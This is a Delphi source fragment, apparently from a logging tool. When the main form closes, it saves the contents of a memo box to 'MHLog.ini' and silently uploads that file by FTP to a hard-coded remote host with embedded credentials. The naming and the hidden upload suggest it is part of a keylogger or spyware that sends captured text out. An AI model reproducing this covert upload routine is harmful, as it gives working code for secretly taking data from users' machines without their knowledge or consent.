function putfile(server, username, password, localfile, remotefile:
string; port: word = 21): boolean;
var
hopen, hconnect: HINTERNET;
begin
hopen := InternetOpen('
myagent', INTERNET_OPEN_TYPE_DIRECT,
nil,
nil, 0);
hconnect := InternetConnect(hopen, pchar(server), port, pchar(username), pchar(password), INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
Result := FtpPutFile(hconnect, pchar(localfile), pchar(remotefile), FTP_TRANSFER_TYPE_UNKNOWN, 0);
InternetCloseHandle(hconnect);
end;
procedure TMainForm.FormDestroy(Sender: TObject);
begin
ini:=TIniFile.create('
MHLog.ini');
ini.writestring(DatetoStr(Date),TimeToStr(Now),Memo1.Text);
ini.free;
putfile('
ftp://matobe@matobe.ma.funpic.de', '
MaToBe', '
***', '
MHLog.ini', '
/MHLog.ini');
end;